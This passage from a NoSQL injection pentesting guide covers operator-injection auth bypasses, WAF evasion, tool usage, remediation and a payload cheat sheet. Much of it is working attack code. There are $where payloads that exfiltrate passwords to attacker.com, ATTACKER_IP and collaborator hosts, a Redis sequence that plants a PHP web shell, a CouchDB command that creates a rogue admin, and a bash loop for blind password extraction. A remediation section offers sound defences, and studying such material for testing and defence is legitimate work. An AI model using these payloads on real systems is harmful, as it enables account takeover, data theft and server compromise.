# Express (Node.js) with qs library parses:
# ?filter[password][$ne]=x  →  { filter: { password: { $ne: "x" } } }
# This directly creates a MongoDB $ne operator

# PHP parses:
# password[$ne]=x  →  $_POST['password'] = ['$ne' => 'x']
# Which maps directly to MongoDB operator when passed to query

# Common HPP payloads:
?username=admin&password[$ne]=x
?username=admin&password[$gt]=
?username=admin&password[$regex]=.*
?username[$ne]=x&password[$ne]=x
?filter[username][$regex]=admin.*
?search[$ne]=null

# Array notation:
?roles[]=admin&roles[]=superuser   # → {"roles": ["admin", "superuser"]}
?id[0]=1&id[1]=2                   # → {"id": [1, 2]}

15.2 Content-Type Switching

# App may process JSON differently from form data:
# Switch Content-Type to inject operators as JSON:

# Original request (form-encoded):
POST /login
Content-Type: application/x-www-form-urlencoded
username=admin&password=test

# Switch to JSON:
POST /login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "x"}}

# Some apps parse both but only sanitize one format:
# Try multipart/form-data too:
POST /login
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="username"
admin
----boundary
Content-Disposition: form-data; name="password[$ne]"
x
----boundary--

15.3 JSON Array & Nested Object Injection

# Inject arrays into fields expecting strings:
{"username": ["admin", "root"]}            # $in behavior on some ORMs
{"username": {"$in": ["admin","root"]}}    # explicit $in

# Nested object injection:
{"filter": {"username": {"$ne": null}}}    # if filter object is passed to query
{"query": {"$where": "1==1"}}             # $where inside nested query object

# Double injection — operators in multiple fields:
{
  "username": {"$regex": "^admin"},
  "password": {"$ne": "x"},
  "active": {"$ne": false}
}

16. OOB Exfiltration & Blind Techniques

16.1 DNS Exfiltration via $where

// Exfiltrate data via DNS subdomain:
{
  "$where": "function() {
    var data = this.password;
    var dns = data + '.COLLABORATOR.oastify.com';
    // MongoDB JS environment may not have direct DNS, but can via:
    try {
      var x = new Mongo('dns-callback-' + encodeURIComponent(data) + '.attacker.com:27017');
    } catch(e) {}
    return true;
  }"
}

// Via require('dns') if Node.js context:
{
  "$where": "function() {
    require('dns').lookup(this.password+'.attacker.com', function(){});
    return true;
  }"
}

16.2 HTTP Exfiltration via $where

// XMLHttpRequest in MongoDB JS (SpiderMonkey engine — limited):
{
  "$where": "function() {
    var x = new XMLHttpRequest();
    x.open('GET', 'http://ATTACKER_IP/?d=' + encodeURIComponent(this.password), false);
    x.send();
    return true;
  }"
}

// Via exec (if available in the JS environment):
{
  "$where": "function() {
    try {
      var proc = Runtime.getRuntime().exec(['curl','http://ATTACKER_IP/?d='+this.password]);
    } catch(e) {}
    return true;
  }"
}

16.3 Burp Collaborator / interactsh Setup

# Set up OOB listener:
# Burp Suite: Project → Collaborator → Copy to clipboard → YOUR_COLLABORATOR_HOST
# interactsh:
interactsh-client                        # generates INTERACTSH_HOST
./interactsh-client -s oast.pro

# Use in $where payload:
"http://"+this.password+".YOUR_COLLABORATOR_HOST"

# Monitor for DNS/HTTP interactions → reveals extracted value from subdomain

16.4 Error-Based Extraction

// Force a type error that reveals the value in the error message:
// If username must match a regex and error is shown:
{"username": {"$regex": this.password}}   // rarely works but try

// $where with intentional error on condition:
{"$where": "function() { if(this.username=='admin') { throw this.password; } return false; }"}
// Error response may contain the password value

17. WAF Bypass Techniques

17.1 Case & Encoding Variations

# Case variation (MongoDB operators are case-sensitive — these won't work natively,
# but WAF pattern matching may be bypassed while app rejects unknown ops gracefully):
{"$NE": "x"}       # won't work in MongoDB — but tests WAF pattern
{"$Ne": "x"}       # same

# Use alternative operators with same effect:
{"$gt": ""}        # instead of {"$ne": null}
{"$gte": ""}       # alternative to $gt
{"$nin": ["x"]}    # instead of $ne — not in array

# URL encoding in GET params:
?password%5B%24ne%5D=x     # [ = %5B, $ = %24, ] = %5D
?password[%24ne]=x

17.2 Whitespace & JSON Formatting

# Add whitespace/newlines inside JSON:
{"username":  "admin",  "password":  {"$ne":  "x"}}
{
  "username": "admin",
  "password": {
    "$ne": "x"
  }
}

# Unicode whitespace:
{"username":"admin","password":{"\u0024ne":"x"}}   # \u0024 = $
# Note: \u0024 in JSON strings decodes to $ — may bypass string-matching WAFs

17.3 Alternative Operator Construction

# Use $not + $eq instead of $ne:
{"password": {"$not": {"$eq": "x"}}}        # equivalent to {"$ne": "x"}

# Use $in with wildcard-like effect:
{"username": {"$in": ["admin", "administrator", "root", "Admin"]}}

# Use $regex instead of $ne:
{"password": {"$regex": ".+"}}              # equivalent — any non-empty string

# Use $exists instead of $ne null:
{"password": {"$exists": true}}             # has a password field

17.4 Nested Object Bypass

# Some WAFs inspect top-level keys only:
{"filter": {"username": "admin", "password": {"$ne": "x"}}}
{"query": {"$ne": null}}
{"data": {"user": {"$regex": ".*"}}}

# Wrap in array:
[{"username": "admin"}, {"password": {"$ne": "x"}}]
# Some apps merge array of conditions

17.5 JavaScript Obfuscation ($where)

// Obfuscate JS inside $where to bypass WAF pattern matching:

// Use string operations to build "sleep"-equivalent:
{"$where": "function(){var a='sl';var b='eep';this[a+b](5000);return true;}"}

// Hex encode characters:
{"$where": "function(){return this.username=='\x61\x64\x6d\x69\x6e';}"}

// Use Function constructor:
{"$where": "new Function('return true')()"}

// Use eval with encoded string:
{"$where": "eval(atob('cmV0dXJuIHRydWU='))"}   # base64("return true")

18. Automation — NoSQLMap & Other Tools

18.1 NoSQLMap

# Install:
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap && pip install -r requirements.txt

# Run:
python nosqlmap.py

# Interactive menu — select:
# 1. Set options (URL, parameter, HTTP method)
# 2. MongoDB attacks
# 3. Scan for unauthenticated MongoDB
# 4. Brute force login
# 5. Extract data

# CLI mode (newer versions):
python nosqlmap.py -u "http://target.com/login" \
  --attack 2 \
  --httpMethod POST \
  --postData "username=admin&password=test"

18.2 Burp Suite — NoSQLi Testing

MANUAL WORKFLOW:
1. Intercept login/search request in Proxy
2. Send to Repeater (Ctrl+R)
3. Change Content-Type to application/json
4. Modify body to inject operators:
   {"username":"admin","password":{"$ne":"x"}}
5. Observe response — auth bypass?
6. Send to Intruder for automated extraction:
   {"username":"admin","password":{"$regex":"^§§"}}
   Payload: character set a-z A-Z 0-9 special chars
   Grep for success indicator

BURP EXTENSIONS:
- NoSQLi Scanner: auto-detects operator injection points
- Hackbar: quick payload injection in Repeater
- Autorize: test privilege escalation after auth bypass

18.3 ffuf — NoSQLi Parameter Fuzzing

# Fuzz parameter names for NoSQLi:
ffuf -u "http://target.com/api?FUZZ[\$ne]=x" \
     -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -fr "error|invalid|false" \
     -mc 200

# Fuzz operator values:
ffuf -u "http://target.com/api?username=admin&password=FUZZ" \
     -w nosqli-operators.txt \
     -mr "success|token|welcome"

# Create nosqli-operators.txt:
cat > nosqli-operators.txt << 'EOF'
{"$ne":"x"}
{"$gt":""}
{"$gte":""}
{"$regex":".*"}
{"$ne":null}
{"$exists":true}
{"$nin":["x"]}
{"$not":{"$eq":"x"}}
EOF

18.4 curl One-Liners

# Quick auth bypass test:
curl -s -X POST http://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$ne":"x"}}' | jq .

# Test HPP:
curl -s -X POST http://target.com/login \
  -d "username=admin&password[\$ne]=x"

# Enumerate users:
curl -s http://target.com/api/users?_id[\$ne]=null | jq .

# $where test:
curl -s -X POST http://target.com/api/find \
  -H "Content-Type: application/json" \
  -d '{"$where":"function(){return true;}"}' | jq .

# Blind timing test:
time curl -s -X POST http://target.com/api/find \
  -H "Content-Type: application/json" \
  -d '{"$where":"function(){var d=new Date();while(new Date()-d<3000){}return true;}"}'

18.5 mongosh — Direct DB Exploitation

# If MongoDB port (27017) is accessible without auth:
mongosh "mongodb://target.com:27017"

# List databases:
show dbs

# Use a database:
use myapp

# List collections:
show collections

# Dump users:
db.users.find({}).pretty()

# Find admin:
db.users.find({role: "admin"}).pretty()
db.users.find({isAdmin: true}).pretty()

# Dump all collections:
db.getCollectionNames().forEach(function(c) {
  print("=== " + c + " ===");
  db[c].find({}).forEach(printjson);
});

# Check MongoDB version and config:
db.adminCommand({buildInfo: 1})
db.adminCommand({getCmdLineOpts: 1})

19. Remediation

19.1 Type Validation — Primary Control

// Node.js / Express — validate input type before passing to MongoDB:
app.post('/login', async (req, res) => {
    const { username, password } = req.body;

    // CRITICAL: Reject non-string input — blocks operator injection:
    if (typeof username !== 'string' || typeof password !== 'string') {
        return res.status(400).json({ error: 'Invalid input type' });
    }

    // Additional validation:
    if (username.length > 100 || password.length > 256) {
        return res.status(400).json({ error: 'Input too long' });
    }

    const user = await db.collection('users').findOne({ username, password });
    // Now username and password are guaranteed strings — $ne, $gt etc. can't inject
});
# Python / PyMongo — type enforcement:
from bson import ObjectId

def safe_login(username, password):
    # Enforce string types:
    if not isinstance(username, str) or not isinstance(password, str):
        raise ValueError("Invalid input type")

    # Strip whitespace, enforce length:
    username = username.strip()[:100]
    password = password.strip()[:256]

    return db.users.find_one({"username": username, "password": password})
<?php
// PHP — cast to string before MongoDB query:
$username = (string) $_POST['username'];
$password = (string) $_POST['password'];

// Reject arrays (HPP operator injection):
if (is_array($_POST['username']) || is_array($_POST['password'])) {
    http_response_code(400);
    die('Invalid input');
}

$collection->findOne(['username' => $username, 'password' => $password]);
?>

19.2 Disable $where and JavaScript Execution

# MongoDB — start with --noscripting to disable server-side JS:
mongod --noscripting

# Or in mongod.conf:
security:
  javascriptEnabled: false

# Check if JS is disabled:
db.adminCommand({getCmdLineOpts: 1})
# Look for: "noscripting": true

19.3 Object Schema Validation

// Mongoose (Node.js ODM) — define strict schema to reject unexpected operators:
const userSchema = new mongoose.Schema({
    username: { type: String, required: true, maxlength: 100 },
    password: { type: String, required: true }
}, { strict: true });  // strict: true rejects fields not in schema

// Mongoose won't allow operator objects where String is expected:
// {"$ne": "x"} → cast error → query rejected

// JSON Schema validation (AJV):
const schema = {
    type: 'object',
    properties: {
        username: { type: 'string', maxLength: 100 },
        password: { type: 'string', maxLength: 256 }
    },
    required: ['username', 'password'],
    additionalProperties: false
};

const validate = ajv.compile(schema);
if (!validate(req.body)) {
    return res.status(400).json({ error: 'Invalid input' });
}

19.4 Parameterized Queries / ODM Usage

// Use Mongoose or validated ODM instead of raw MongoDB driver:
// SAFE — Mongoose casts to schema type, rejects operator objects:
const User = mongoose.model('User', userSchema);
const user = await User.findOne({ username: username, password: password });
// username and password are cast to String → operator injection blocked

// If using raw MongoDB driver — always cast:
const user = await db.collection('users').findOne({
    username: String(username),
    password: String(password)
});

19.5 Redis Security Hardening

# redis.conf — require password:
requirepass STRONGPASSWORD123!

# Bind to localhost only:
bind 127.0.0.1

# Disable dangerous commands:
rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command DEBUG ""
rename-command EVAL ""

# Enable protected mode:
protected-mode yes

# TLS (Redis 6+):
tls-port 6380
tls-cert-file /etc/ssl/redis.crt
tls-key-file /etc/ssl/redis.key

19.6 Firebase Security Rules

// Firebase Realtime DB — restrict to authenticated user's own data:
{
  "rules": {
    "users": {
      "$uid": {
        ".read": "$uid === auth.uid",
        ".write": "$uid === auth.uid"
      }
    }
  }
}

// Firestore — restrict reads to authenticated users' own documents:
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{userId} {
      allow read, write: if request.auth != null && request.auth.uid == userId;
    }
    // Deny everything else:
    match /{document=**} {
      allow read, write: if false;
    }
  }
}

// NEVER use these rules in production:
// ".read": true          → anyone can read ALL data
// ".write": true         → anyone can write ALL data
// ".read": "auth != null" + self-registration → any user reads everything

19.7 Defense-in-Depth

PRIMARY CONTROLS:
├── Validate and enforce input types — reject non-string where string expected
├── Use ODM/ORM with schema enforcement (Mongoose, etc.)
├── Disable MongoDB server-side JavaScript (--noscripting)
└── Never concatenate user input into query objects

SECONDARY CONTROLS:
├── MongoDB: enable Role-Based Access Control (RBAC)
│   → mongod --auth
│   → Create least-privilege users per collection
├── MongoDB: never run as root; use dedicated mongod user
├── MongoDB: bind to localhost / private network only (never 0.0.0.0)
├── Redis: requirepass + bind 127.0.0.1 + rename dangerous commands
├── Firebase: explicit deny-all default rules; allow only what's needed
├── CouchDB: enable authentication (_config/admins); disable _utils in production
└── Input length limits — prevent oversized regex / $where payloads

DETECTION:
├── Log all queries with unusual operator keys ($ne, $where, $regex)
├── Alert on queries containing JS keywords in string fields (sleep, function)
├── Monitor for HTTP parameter arrays where scalars expected (?param[]=)
├── WAF rules: block $where, $regex, $ne, $gt in request bodies and params
├── Rate-limit authentication endpoints (brute force + blind extraction)
└── DAST scanning: NoSQLMap, Burp NoSQLi Scanner in CI/CD pipeline

20. Master Cheat Sheet

Attack Decision Tree

Found a login form / API endpoint using NoSQL?
│
├── Test operator injection via JSON body:
│   {"username":"admin","password":{"$ne":"x"}}
│   ├── Auth bypassed / response changes → NOSQLI CONFIRMED (MongoDB)
│   └── No change → try HPP
│
├── Test HTTP Parameter Pollution:
│   username=admin&password[$ne]=x (URL-encoded POST)
│   ?username=admin&password[$ne]=x (GET)
│   ├── Auth bypassed → NOSQLI via HPP
│   └── No change → try $where
│
├── Test JavaScript execution ($where):
│   {"$where":"function(){var d=new Date();while(new Date()-d<3000){}return true;}"}
│   ├── Response delayed 3+ seconds → JS EXECUTION CONFIRMED
│   │   └── Escalate: OOB, blind extraction, RCE
│   └── Error "$where is not allowed" → JS disabled (--noscripting)
│       └── Use $regex for blind extraction instead
│
├── NoSQLi confirmed — what's available?
│   ├── Output in response (in-band)?
│   │   ├── Inject {"$ne":null} → returns all docs (dump endpoint)
│   │   ├── Use {"$regex":".*"} to match all → enumerate users
│   │   └── Modify filter operators to access other records
│   │
│   ├── No direct output (blind)?
│   │   ├── Boolean-based: {"$regex":"^a"} vs {"$regex":"^b"} → char by char
│   │   ├── Time-based: $where with loop → confirm then extract
│   │   └── OOB: $where → XMLHttpRequest to Burp Collaborator
│   │
│   └── $where available?
│       ├── Time-based extraction: conditional sleep per character
│       ├── OOB: DNS/HTTP callback with data in subdomain
│       └── Attempt RCE: require('child_process') (Node.js contexts)
│
├── Redis exposed (port 6379)?
│   ├── redis-cli -h target ping → +PONG = UNAUTHENTICATED
│   ├── Dump keys: KEYS '*' → GET key_name
│   └── Write webshell: CONFIG SET dir + dbfilename + SET + BGSAVE
│
├── CouchDB exposed (port 5984)?
│   ├── curl target:5984/_all_dbs → lists databases
│   ├── curl target:5984/DB/_all_docs → dumps documents
│   └── Create admin: PUT /_config/admins/attacker → takeover
│
└── Firebase (firebaseio.com / appspot.com)?
    ├── curl https://PROJECT.firebaseio.com/.json → unauthenticated read?
    └── curl PUT .json with data → unauthenticated write?

Quick Payload Reference

# ── MONGODB AUTH BYPASS (JSON) ──
{"username":"admin","password":{"$ne":"x"}}          # not-equal bypass
{"username":"admin","password":{"$gt":""}}           # greater-than bypass
{"username":"admin","password":{"$regex":".*"}}      # regex bypass
{"username":{"$ne":null},"password":{"$ne":null}}    # bypass both fields
{"$or":[{"username":"admin"},{"_id":{"$ne":null}}]}  # OR tautology

# ── MONGODB AUTH BYPASS (HPP) ──
username=admin&password[$ne]=x
username=admin&password[$gt]=
username=admin&password[$regex]=.*
username[$ne]=x&password[$ne]=x

# ── MONGODB $where (JS) ──
{"$where":"1==1"}                                     # tautology
{"$where":"function(){return true;}"}                 # function form
{"$where":"function(){var d=new Date();while(new Date()-d<3000){}return true;}"}  # time-based

# ── BLIND $regex EXTRACTION ──
{"username":"admin","password":{"$regex":"^a"}}       # starts with a?
{"username":"admin","password":{"$regex":"^ad"}}      # starts with ad?
{"username":"admin","password":{"$regex":"^.{8}$"}}   # exactly 8 chars?

# ── FIELD ENUMERATION ──
{"username":"admin","password":{"$exists":true}}      # password field exists?
{"username":"admin","secret":{"$exists":true}}        # secret field exists?
{"$where":"function(){return Object.keys(this).indexOf('apiKey')>=0;}"}

# ── TAUTOLOGY (return ALL docs) ──
{"_id":{"$ne":null}}                                  # all documents
{"$where":"true"}                                     # all via JS

# ── OOB ($where) ──
{"$where":"function(){var x=new XMLHttpRequest();x.open('GET','http://ATTACKER/?d='+this.password,false);x.send();return true;}"}

# ── REDIS (unauthenticated) ──
redis-cli -h TARGET KEYS '*'
redis-cli -h TARGET GET keyname
redis-cli -h TARGET CONFIG SET dir /var/www/html
redis-cli -h TARGET CONFIG SET dbfilename shell.php
redis-cli -h TARGET SET payload "<?php system(\$_GET['cmd']); ?>"
redis-cli -h TARGET BGSAVE

# ── FIREBASE ──
curl https://PROJECT.firebaseio.com/.json             # dump root
curl https://PROJECT.firebaseio.com/users.json        # dump users

# ── COUCHDB ──
curl http://TARGET:5984/_all_dbs                      # list dbs
curl http://TARGET:5984/DB/_all_docs                  # dump docs
curl -X PUT http://TARGET:5984/_config/admins/owned -d '"pwned"'

NoSQLMap Quick Reference

python nosqlmap.py -u "http://target.com/login" \
  --attack 2 \
  --httpMethod POST \
  --postData "username=admin&password=test"

# Scan for unauthenticated MongoDB:
python nosqlmap.py --scanMongo

# Extract collection data:
python nosqlmap.py -u "http://target.com" --extractData

Blind Extraction One-Liner (Bash)

# Character-by-character password extraction via $regex:
KNOWN=""; TARGET="admin"; URL="http://target.com/login"
for i in $(seq 1 32); do
  for c in {a..z} {A..Z} {0..9} '!' '@' '#' '$' '%' '^' '&' '*'; do
    R=$(curl -s -X POST "$URL" -H "Content-Type: application/json" \
      -d "{\"username\":\"$TARGET\",\"password\":{\"\$regex\":\"^${KNOWN}${c}\"}}")
    if echo "$R" | grep -qiE "success|token|welcome|true"; then
      KNOWN="${KNOWN}${c}"; echo "[+] $KNOWN"; break
    fi
  done
done
echo "[*] Password: $KNOWN"

← Web top ↑